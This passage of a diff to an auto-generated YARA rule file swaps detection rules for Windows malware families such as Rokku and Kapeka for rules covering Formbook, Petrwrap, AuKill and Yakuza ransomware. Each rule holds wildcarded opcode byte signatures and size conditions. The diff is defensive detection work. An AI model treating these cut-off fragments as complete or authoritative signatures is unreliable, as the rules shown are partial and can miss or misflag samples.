8b8dfce5ffff e9???????? c3 } + $sequence_2 = { c60000 8d4540 6a00 50 e8???????? 83ec18 c645fc05 } + $sequence_3 = { 8bce ff5004 8b45f0 8b4d0c 8907 8b4514 895f04 } + $sequence_4 = { 8d4e34 c645fc09 c741140f000000 c7411000000000 83791410 7204 8b01 } + $sequence_5 = { 8db758030000 8b4614 83f808 720b 40 8bce 50 } + $sequence_6 = { c7411000000000 8b4114 894754 c7411400000000 8b5d10 c745fc00000000 8b0b } + $sequence_7 = { c745fc01000000 8b4de0 85c9 7414 8b01 8b4010 ffd0 } + $sequence_8 = { 8886b2000000 c686b300000001 c7411407000000 c7411000000000 83791408 7204 8b01 } + $sequence_9 = { c645fc01 8d45a8 6a00 50 8d4dd8 c745ec0f000000 c745e800000000 } condition: - 7 of them and filesize < 524288 + 7 of them and filesize < 2252800 } -rule MALPEDIA_Win_Rokku_Auto : FILE +rule MALPEDIA_Win_7Ev3N_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e0917d2-b33a-54a8-a28e-92ca643aac23" + id = "005aa5f2-162b-5bf7-ad49-b9d7ff2db13f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rokku_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.7ev3n_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "5443b2e7560cc69ec04b0b3e247a5b78bf0ac816da2824e945b614a9052a8971" + logic_hash = "4eede98c5fa06e7258d260c1c452e6214bfc253858a007d8970063a1ca550ad3" score = 75 quality = 75 tags = "FILE" @@ -104872,32 +105290,32 @@ rule MALPEDIA_Win_Rokku_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0bd0 c1e90e 8b442418 0bf1 33442444 } - $sequence_1 = { c1fb1a 01442420 8b442430 1154241c f76c2438 01442420 8b44246c } - $sequence_2 = { 8d54240c e8???????? a3???????? 33c0 c744240c5d786f7a c74424106b4c6f72 66c74424146b00 } - $sequence_3 = { 03d0 33ca 8954242c 8b542428 c1c10c 03d1 } - $sequence_4 = { 8bf1 89742408 85f6 745d 53 8b1e 57 } - $sequence_5 = { 83f917 72f0 8b0d???????? 88542439 8d542422 e8???????? } - $sequence_6 = { 8d7d28 53 8d5328 8bcf e8???????? 8b742448 83c550 } - $sequence_7 = { 894a0c 8b4c2420 0fa4c11a 8b4c2410 c1e01a 2bc8 8b842488000000 } - $sequence_8 = { 7517 8b0e 68???????? e8???????? 33c9 84c0 0f45cf } - $sequence_9 = { 41 83f905 7305 8a55ee ebee } + $sequence_0 = { 6a00 8d85f0d9ffff 50 8d8dd0cdffff e8???????? 8bce 2bcf } + $sequence_1 = { 2bcf 3bc1 0f84e2910000 8dbd50dcffff 8d4f02 0f1f840000000000 } + $sequence_2 = { 2bcf 3bc1 0f8412490000 8dbdcce7ffff 8d4f02 0f1f840000000000 668b07 } + $sequence_3 = { e8???????? 8bce 2b8d00cbffff 3bc1 0f84ce070000 8dbd50d9ffff 8d4f02 } + $sequence_4 = { e8???????? 8bce 2bcf 3bc1 0f84427a0000 8dbdf8eeffff 8d4f02 } + $sequence_5 = { 6a00 8d85a0e3ffff 50 8d8dd0cdffff e8???????? 8bce 2bcf } + $sequence_6 = { 6a00 6800000080 50 ff15???????? 898520ffffff 85c0 7509 } + $sequence_7 = { 83c702 6685c0 75f5 2bf9 d1ff 6a00 8d8500edffff } + $sequence_8 = { f30f7e05???????? 660fd68564e6ffff 0fb705???????? 6689856ce6ffff f30f7e05???????? 660fd68558e6ffff 0fb705???????? } + $sequence_9 = { d1ff 6a00 8d85acfbffff 50 8d8dd0cdffff e8???????? 8bce } condition: - 7 of them and filesize < 548864 + 7 of them and filesize < 803840 } -rule MALPEDIA_Win_Findpos_Auto : FILE +rule MALPEDIA_Win_Petrwrap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce612255-6624-50a9-a03c-c60c58099af8" + id = "4231d0f2-bcca-5065-a819-dce30768f04e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.findpos_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.petrwrap_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "5ddd8150bb7549b194e3af334d2fd54523af2954906df2786ddd0dce1684bb61" + logic_hash = "df938443ce3aca6f9d40529b8ac059dfa5d88a7d6127ee28afd16bed66ad9fc4" score = 75 quality = 75 tags = "FILE" @@ -104911,32 +105329,32 @@ rule MALPEDIA_Win_Findpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb6c0 50 0fb6c1 50 8d85e8e7ffff 50 } - $sequence_1 = { 42 8a1a 0fb63411 0fb6c3 83ce20 83c820 2bf0 } - $sequence_2 = { 3375f0 337df4 8b4008 8985dcfeffff } - $sequence_3 = { 8d4dd8 895dfc e8???????? 837dec10 8d55d8 0f4355d8 33c9 } - $sequence_4 = { 83791410 7202 8b09 33d2 e8???????? 85c0 7419 } - $sequence_5 = { 0f84d6000000 48 0f8497000000 83e804 7468 83e803 } - $sequence_6 = { bf3ce91fe0 0adb e3de a863 125f55 cae845 7d31 } - $sequence_7 = { e8???????? 6a00 6a01 8d8c2408010000 e9???????? 83fb27 0f871b010000 } - $sequence_8 = { 57 8b7d08 3b30 7554 394510 } - $sequence_9 = { ff15???????? 8bc8 890d???????? 85c9 743b 8b45f8 a3???????? } + $sequence_0 = { 8b442458 8bf9 0fa4c119 33f2 c1e019 } + $sequence_1 = { 894c241c 3bcf 763b 6845030000 68???????? 6a44 6a68 } + $sequence_2 = { 68???????? 57 e8???????? 83c408 85c0 0f89ff010000 57 } + $sequence_3 = { 3bd9 7301 47 8b442414 89700c 8b4508 33f6 } + $sequence_4 = { 50 e8???????? 83c410 ff15???????? 8945b4 b808000000 e8???????? } + $sequence_5 = { 83c430 83c20a 89542444 85d2 } + $sequence_6 = { 330c85d01c4400 8b44242c c1e818 330c85d0184400 0fb6c2 330c85d0244400 8bc3 } + $sequence_7 = { 8b4c2440 83c42c 894c241c 85c0 7507 6831020000 eb44 } + $sequence_8 = { 8b4d00 89450c 8b03 894c2424 8d04b0 2bf2 c1fe1f } + $sequence_9 = { 4a 75f5 8b0e c7460406000000 83c114 8d4900 8b01 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 1024000 } -rule MALPEDIA_Win_Svcready_Auto : FILE +rule MALPEDIA_Win_Rusty_Claw_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e83853f3-e66b-52ee-ae09-132965a1cb28" + id = "8fc75c4e-ba70-59d2-9f38-a3aed8cf6b13" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.svcready_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rusty_claw" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rusty_claw_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "70f5a6e47586d208a50ef25a32145ee8864e4794b50daca718026585b6e54bc9" + logic_hash = "75f315fae698621629456c9a1f27e13b2e79a7325d19df3b6033848f0862def4" score = 75 quality = 75 tags = "FILE" @@ -104950,32 +105368,32 @@ rule MALPEDIA_Win_Svcready_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895c2410 8bc7 896c2418 f7d2 33c6 0bfa 21542410 } - $sequence_1 = { eb02 33f6 895d28 8d4702 } - $sequence_2 = { 89442410 33c0 89742414 896c2418 895c241c ab } - $sequence_3 = { 66c7070100 885f02 891e 885e04 895e08 895e0c 895dfc } - $sequence_4 = { 8b442428 40 50 57 51 } - $sequence_5 = { 8b01 8902 83c204 83c104 894dec 8b45e8 ebea } - $sequence_6 = { 50 ff74241c ff15???????? 33c0 8d7c2408 ab } - $sequence_7 = { 8bca 8dbefc600000 f3ab 8bca } - $sequence_8 = { 2bd1 8b7c2414 2bf1 c1fa02 c1fe02 3bfa 7678 } - $sequence_9 = { 3c58 7504 897c2414 52 51 e8???????? 89442430 } + $sequence_0 = { 57 56 83ec08 8b5c241c 8b7c2418 89e0 8d742404 } + $sequence_1 = { 5b 5d c3 8b4e10 ba???????? 6a04 e8???????? } + $sequence_2 = { 037904 034108 89d1 c1c60d c1ea0a c1c10f 31ce } + $sequence_3 = { 8b5664 e8???????? b001 8b8eb0050000 64890d00000000 8d65f4 5e } + $sequence_4 = { 29c2 29ca 85d2 7409 4a 803ec0 8d76ff } + $sequence_5 = { 0fb7c2 01c8 c3 89d0 354718c32c c1c002 31d0 } + $sequence_6 = { 8dbe850ab727 8974245c 89442408 8d81fc6d2c4d 8b4c2458 89442450 8b442430 } + $sequence_7 = { 6a0a 5a f7e2 89c3 0f90c2 01cb 0f92c0 } + $sequence_8 = { 8b6c241c 8974240c 89de 894c2444 89542438 89442420 894c2424 } + $sequence_9 = { 8d043b 99 2bc2 8bf0 d1fe 6a55 ff34f5b8444300 } condition: - 7 of them and filesize < 1187840 + 7 of them and filesize < 518144 } -rule MALPEDIA_Win_Net_Star_Auto : FILE +rule MALPEDIA_Win_Dimnie_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e4a1e4d6-66ac-52a3-a1bf-1a40ab526cfc" + id = "faec140a-eb16-5876-b92f-a4f4dcf83df4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.net_star" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.net_star_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dimnie_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "93e5fe016bec66ccfdfdaabf1a580d9d03655d26419d498170f8b7ee102df278" + logic_hash = "8e390553f6468d186c93389bf0eaa300637b1e54d4adacff8f64a890d9a8be5a" score = 75 quality = 75 tags = "FILE" @@ -104989,32 +105407,32 @@ rule MALPEDIA_Win_Net_Star_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 281f00000a 1106 281e00000a dc 1109 6f2500000a 1109 } - $sequence_1 = { 6f2400000a 6f2200000a de0f 1107 281f00000a } - $sequence_2 = { 728d000070 2a 07 2802000006 1305 281a00000a } - $sequence_3 = { 740100001b 0c 03 7243000070 6f1500000a } - $sequence_4 = { 1308 1108 731d00000a 1309 1109 } - $sequence_5 = { 09 281100000a 5a 281200000a 1304 08 09 } - $sequence_6 = { 08 09 1104 281300000a a2 09 } - $sequence_7 = { 6f1700000a 6f1500000a 740100001b 0d 09 2d06 725f000070 } - $sequence_8 = { 09 08 8e 69 32dd 08 } - $sequence_9 = { 26 de49 130a 1109 6f2100000a 1109 } + $sequence_0 = { eb04 c645af3d 8b4d0c 8a55af 885102 837d1002 } + $sequence_1 = { 7e28 8b5508 0fb64201 83e00f c1e002 8b4d08 0fb65102 } + $sequence_2 = { 8b450c eb54 8b550c 2b5508 83fa01 751c 0f31 } + $sequence_3 = { c70201000000 8b4508 8b08 83e10f 8b5508 } + $sequence_4 = { eb54 8b550c 2b5508 83fa01 751c } + $sequence_5 = { eb61 8b4d08 3b4d0c 7605 8b450c eb54 8b550c } + $sequence_6 = { c70201000000 8b4508 8b08 83e10f 8b5508 890a } + $sequence_7 = { 8855ae eb04 c645ae3d 8b450c 8a4dae } + $sequence_8 = { b90d000000 be???????? 8d7dbc f3a5 } + $sequence_9 = { 8b4d0c 8a55af 885102 837d1002 7e13 8b4508 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Winordll64_Auto : FILE +rule MALPEDIA_Win_Aukill_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "42d58eb8-636f-5c90-824f-a4029c096b45" + id = "efca2687-336d-54b6-b9e5-6006cad01a63" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winordll64" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winordll64_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aukill_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "ff8a5b9c7eb1fcfe5982c5ada9af48d2cc2fd7ebb77ddf0083a9bd3e03ee5a02" + logic_hash = "5efb284cf60297ddb14dee519095e9a3fbc8f6f4ea4b889dc99b33d704551ec0" score = 75 quality = 75 tags = "FILE" @@ -105028,32 +105446,32 @@ rule MALPEDIA_Win_Winordll64_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b55d0 488364242000 448bc1 4c8d4d48 498bcc ff15???????? 48635538 } - $sequence_1 = { 4c8d05c8c40000 498bd4 488bcd e8???????? 85c0 } - $sequence_2 = { 75f7 488bcf e8???????? 498b0c24 4585ed } - $sequence_3 = { 488bcf ff15???????? 85c0 0f8575ffffff 488bcf ff15???????? b8c0020000 } - $sequence_4 = { e8???????? 4c8d5c2430 4c895c2420 4c8d4c2438 41b807000000 488b442440 } - $sequence_5 = { be08780000 8bce e8???????? 488bf8 4885c0 0f8422010000 48ffce } - $sequence_6 = { 488d5547 488d4def 4c895d47 e8???????? 4c8d1d9b4a0000 488d150c640000 488d4def } - $sequence_7 = { 48ffc1 483bca 72f0 458bc7 } - $sequence_8 = { 418800 49ffc0 49ffc3 41d1ea 418b03 488b6c2450 be00000080 } - $sequence_9 = { 488d542458 488d4c2428 e8???????? 4c8d1d12e50000 4c895c2428 } + $sequence_0 = { 33d2 b940040000 ff15???????? 488bd8 } + $sequence_1 = { 488b442460 4c8d442430 488b4c2458 33d2 4889442434 } + $sequence_2 = { 48894c2430 ba04003583 894c2428 48894c2420 448d4920 48894c2450 488b0d???????? } + $sequence_3 = { 771c 488b0b ff15???????? 0fb608 } + $sequence_4 = { 33c9 48895c2440 48894c2438 4c8d442440 48894c2430 ba04003583 } + $sequence_5 = { 488b442460 4c8d442430 488b4c2458 33d2 } + $sequence_6 = { 48894c2420 448d4920 48894c2450 488b0d???????? } + $sequence_7 = { 448d4920 48894c2450 488b0d???????? 48897c2458 4889442448 } + $sequence_8 = { ff15???????? 85c0 751d 488bcb ff15???????? ff15???????? } + $sequence_9 = { 8905???????? c705????????02000000 48c705????????04000000 ff15???????? 488905???????? 4885c0 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 446464 } -rule MALPEDIA_Win_Kapeka_Auto : FILE +rule MALPEDIA_Win_Formbook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7a97f5ec-4398-5b2b-8ee0-712591242f63" + id = "8c050ce6-9039-5f0c-9eda-53d46123b24c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kapeka" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kapeka_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.formbook_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "3423309dd00c2032617bc59ad3fa8dc9a6be83aaab30c6da6deeede3840c0066" + logic_hash = "986f42b5e94183a87a4b3ecc04f39bd7a6cdd90998ce87e5be2a2b4f7bf3d394" score = 75 quality = 75 tags = "FILE" @@ -105067,32 +105485,32 @@ rule MALPEDIA_Win_Kapeka_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 498bcf e8???????? 488d15a8530100 488bc8 e8???????? ba02100000 488d4d10 } - $sequence_1 = { 488bda 488bf9 e8???????? 488bd3 48895f28 488bcf e8???????? } - $sequence_2 = { 488bc8 e8???????? 488be8 eb03 488bef 488d4c2420 e8???????? } - $sequence_3 = { 4803c8 e8???????? 488b442468 488b4c2460 482bc1 } - $sequence_4 = { 418bc3 c1e810 0fb6c8 418bbc9470dd0100 4133bc8c70d90100 8bc6 48c1e818 } - $sequence_5 = { 8d4f01 e8???????? 488b4b10 488903 48894308 488b5328 } - $sequence_6 = { 57 4154 4157 4883ec70 488bf9 4c8d252b470100 4c8921 } - $sequence_7 = { e8???????? 488bcb e8???????? 488b5c2430 48894728 4883c420 5f } - $sequence_8 = { 418bc2 c1e810 0fb6c8 418bc3 418bb49670dd0100 48c1e818 4133b48e70d90100 } - $sequence_9 = { 488b442468 4c894138 4533c0 48895158 33d2 48894150 4c894940 } + $sequence_0 = { 8be5 5d c3 8d48f8 80f903 771e 8b5518 } + $sequence_1 = { 8bec 8b4508 8b4810 56 6a0d 6a00 } + $sequence_2 = { 56 e8???????? 56 e8???????? 40 50 8b450c } + $sequence_3 = { e8???????? 83c418 8986dc020000 85c0 780c 8b4d0c } + $sequence_4 = { 85ff 7439 8b550c 85d2 7432 8b4d10 33c0 } + $sequence_5 = { 33c0 85d2 741b 8d0c79 53 8d642400 668b1c46 } + $sequence_6 = { 80fa03 0f862cffffff 3c34 0f8446ffffff 3c35 0f8460ffffff 8d48c8 } + $sequence_7 = { e8???????? 8b4508 8d4df8 51 8d55f0 52 6a00 } + $sequence_8 = { 53 56 57 8b7d10 8d8768480000 50 8db768080000 } + $sequence_9 = { 51 57 e8???????? 83c410 85c0 7915 8b13 } condition: - 7 of them and filesize < 377856 + 7 of them and filesize < 371712 } -rule MALPEDIA_Win_Dmsniff_Auto : FILE +rule MALPEDIA_Win_Upas_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9b02a57-acfd-5696-afff-e1ad9ad00d2f" + id = "3b6d6c26-b6c3-53b0-89ad-1bd740f5c4d8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dmsniff_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.upas_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "8d240517eec8ca9f146a8569ec7f531dfedcca5581430f505c0f5f429a443243" + logic_hash = "bdfeabc66ac57807ea759a27698eea464658dc61ceaff524f25f379f14603f19" score = 75 quality = 75 tags = "FILE" @@ -105106,32 +105524,32 @@ rule MALPEDIA_Win_Dmsniff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7316 8bbdfcfeffff 89fe 46 89b5fcfeffff 899cbd00ffffff 8d85f0feffff } - $sequence_1 = { d92c24 83c404 6a00 6a00 68???????? 68???????? } - $sequence_2 = { 50 8b10 ff5220 89c7 09ff 0f8563010000 6a00 } - $sequence_3 = { 50 8b10 ff5250 89c7 } - $sequence_4 = { 47 39f7 72d3 ff45fc 8b45f4 3945fc 72c2 } - $sequence_5 = { f7e7 8945ec 50 e8???????? 89c3 } - $sequence_6 = { 59 be0f000000 39c6 761a 68???????? e8???????? } - $sequence_7 = { 50 ff7508 e8???????? 68???????? e8???????? 50 ff7508 } - $sequence_8 = { e8???????? 68???????? e8???????? 89c2 6a00 } - $sequence_9 = { 89c3 81e3ff000000 89de 83c661 89f3 881d???????? b803000000 } + $sequence_0 = { 7816 8b45f8 8b08 57 ff7508 } + $sequence_1 = { 0bcf eb10 85f6 7507 83fa05 } + $sequence_2 = { c3 55 8bec 81ec8c0b0000 53 56 } + $sequence_3 = { ff35???????? ffd6 85c0 75e7 50 e8???????? 59 } + $sequence_4 = { ff15???????? 53 ff15???????? 6800400000 ff75f8 ff75f4 ff15???????? } + $sequence_5 = { 8d4438eb 8945dd 33c0 3945f8 7517 ff75f0 } + $sequence_6 = { 7410 49 740d 83e909 7410 83e919 } + $sequence_7 = { c9 c3 56 57 8d8550faffff 50 } + $sequence_8 = { 6a08 ff750c e8???????? 33c0 } + $sequence_9 = { 8dbd20ffffff f3a5 0fb74814 8d5c0118 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Lurk_Auto : FILE +rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "42f43514-1d0a-5f85-8b4c-4d2eb84cb8ec" + id = "0616b0d8-21b8-54e6-81ea-ef91fe1745e9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lurk_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yakuza_ransomware_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d1c263745e96efcdbb8910da6861ed00bbaa0d8e2de63a2bd4a743972e1ce722" + logic_hash = "406ad1bef978847d25a0a40830a76c5748a247c44dcea0c0fe72a568e851fc77" score = 75 quality = 75 tags = "FILE" @@ -105145,38 +105563,32 @@ rule MALPEDIA_Win_Lurk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7508 ff15???????? 8b35???????? 50 ff7508 } - $sequence_1 = { 8b4508 5b 5f 5e c9 c3 55 } - $sequence_2 = { 8908 8b4514 85c0 7407 8b4e28 03cf } - $sequence_3 = { 0f84e0000000 8b45fc 8b4dd8 03480c 51 ff55f4 } - $sequence_4 = { 8955f4 837df404 7325 8b4df0 } - $sequence_5 = { 80780500 8d45fc 7404 6a00 eb02 6a01 50 } - $sequence_6 = { 5f 5e c9 c20400 a1???????? 32c9 384802 } - $sequence_7 = { eb29 837d0803 7504 6a03 eb08 837d0804 7519 } - $sequence_8 = { c9 c3 6afe eb02 6afd } - $sequence_9 = { 8945cc 8b45fc 83c008 8945f0 } - $sequence_10 = { 8945fc e8???????? c745f801000000 2975f8 } - $sequence_11 = { a1???????? 385805 744f 53 53 } - $sequence_12 = { 8945d0 8b45f8 895dd4 8945d8 8b3d???????? } - $sequence_13 = { 8955f0 8b45f4 8b4814 c1e11f c1f91f 7412 } - $sequence_14 = { 8955f0 e9???????? 8b55fc 8b45ec } - $sequence_15 = { 8945d4 837dd400 7513 8b45d8 } + $sequence_0 = { e8???????? 83c404 c645fc5b 56 8bd0 8d8d20fbffff e8???????? } + $sequence_1 = { e8???????? 8d8520ffffff 83bd34ffffff08 0f438520ffffff 8d8dd8fbffff 51 } + $sequence_2 = { 50 e8???????? 0fb74c242c 8d7f02 83c414 85c0 b8ffff0000 } + $sequence_3 = { e9???????? c3 8b4568 83e002 0f840c000000 836568fd 8d4d48 } + $sequence_4 = { e9???????? c3 8b4dec 81c180000000 e9???????? 8b4d08 83c104 } + $sequence_5 = { 0fb6c9 0fb689409c4d00 3304cdd2735400 8b4df8 8b55fc 8b4c8a08 c1e900 } + $sequence_6 = { e8???????? 84c0 0f84d0010000 8d8d54f6ffff e8???????? 8bf0 89b5d4f1ffff } + $sequence_7 = { e8???????? c745fc00000000 8b4e24 85c9 7466 8b01 8d55dc } + $sequence_8 = { ff7508 8d45a8 50 8d4de0 e8???????? 8bf0 8d4e04 } + $sequence_9 = { 50 c745ac00000000 c745b007000000 e8???????? 837f1408 8bc7 7202 } condition: - 7 of them and filesize < 5316608 + 7 of them and filesize < 2811904 } -rule MALPEDIA_Win_Tollbooth_Auto : FILE +rule MALPEDIA_Win_Scarabey_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8571d861-b206-5a28-be63-4a9911495781" + id = "df55f2c4-936e-5089-bf63-ab8881b2ccec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tollbooth" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tollbooth_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scarabey_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "55924965cb8b6210eb05a8f6dd43f9ad6aeae8d8c356e1fd55efb53f124eaedf" + logic_hash = "ab0b8e9df053b2dde174abe1928026d6e032765d40449a0cf5be9cf6e0235b67" score = 75 quality = 75 tags = "FILE" @@ -105190,32 +105602,32 @@ rule MALPEDIA_Win_Tollbooth_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4885c0 0f8428010000 488d7827 4883e7e0 488947f8 4c8b442420 } - $sequence_1 = { eb67 41baa0860100 413bea 7207 bb06000000 eb55 41ba10270000 } - $sequence_2 = { 7451 488b7d07 488b4dff 48894dbf 488bd7 482bd1 48c1fa04 } - $sequence_3 = { e9???????? 488d8ab8000000 e9???????? 488d8a68000000 e9???????? 488d8ad8000000 e9???????? } - $sequence_4 = { 4885ff 757e eb03 498bfe 807e2400 7413 e8???????? } - $sequence_5 = { 803902 7558 488b4908 488b5108 483b5110 7421 0fb645e0 } - $sequence_6 = { 48895c2450 48895c2460 48c74424680f000000 41b80a000000 488d1566350900 488d4c2450 e8???????? } - $sequence_7 = { 898b88000000 83bb8800000003 0f8286000000 8b8bf4160000 0fb69388000000 488b83f8160000 80ea03 } - $sequence_8 = { eb4d 488b8100010000 4885c0 7403 f0ff08 488d055d200300 48899900010000 } - $sequence_9 = { 83e11f 418bd7 81c101010000 41c1ef05 83e21f 418bc7 41894d7c } + $sequence_0 = { 6a01 ff5004 899e58030000 e9???????? c78778010000acab5700 } + $sequence_1 = { 51 50 8d45c0 50 ffd7 897598 c74594fc2f5300 } + $sequence_2 = { 51 ff15???????? 8d8dc0d6ffff e8???????? 8b95c0d6ffff 52 } + $sequence_3 = { 8b442408 8b4c2404 6a00 6a00 6a00 6a00 50 } + $sequence_4 = { ff15???????? 6a01 8d8d14d1ffff 51 ff15???????? 6a00 6a00 } + $sequence_5 = { 894608 89460c c706???????? c74604???????? c74610541e5300 e8???????? 8bc6 } + $sequence_6 = { e9???????? 837dec00 0f851a010000 6683f80c 0f8510010000 6a0a } + $sequence_7 = { 8bf0 83f907 7771 ff248d690c4700 4e eb26 } + $sequence_8 = { c745bc06000000 897dd0 c745c404885300 c745cc64000000 ff9060010000 } + $sequence_9 = { c745cc18405300 e8???????? 33c0 40 e8???????? c20400 6a08 } condition: - 7 of them and filesize < 1907712 + 7 of them and filesize < 3580928 } -rule MALPEDIA_Win_Glooxmail_Auto : FILE +rule MALPEDIA_Win_Ceeloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "69068c2d-618b-514f-89ee-0c12a27c7775" + id = "33871f14-7cee-5da9-9ebd-8890978a4d51" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glooxmail_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ceeloader_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "fd925824bd22779b63be73d9209717bd4d4f69fd8a16644a721055340873e4d2" + logic_hash = "4d0387a20d12583a262adee6bbac65a30e624cee690a9f69b13de10eb064ad76" score = 75 quality = 75 tags = "FILE" @@ -105229,32 +105641,32 @@ rule MALPEDIA_Win_Glooxmail_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d55c0 52 8d9564ffffff c645fc4a 8b01 52 ff5044 } - $sequence_1 = { e8???????? 385df3 7407 c745ec40000000 68???????? 8d8d7cffffff e8???????? } - $sequence_2 = { 6a01 8d8c24f0020000 81e3fff7ffff e8???????? f7c300040000 740f 56 } - $sequence_3 = { 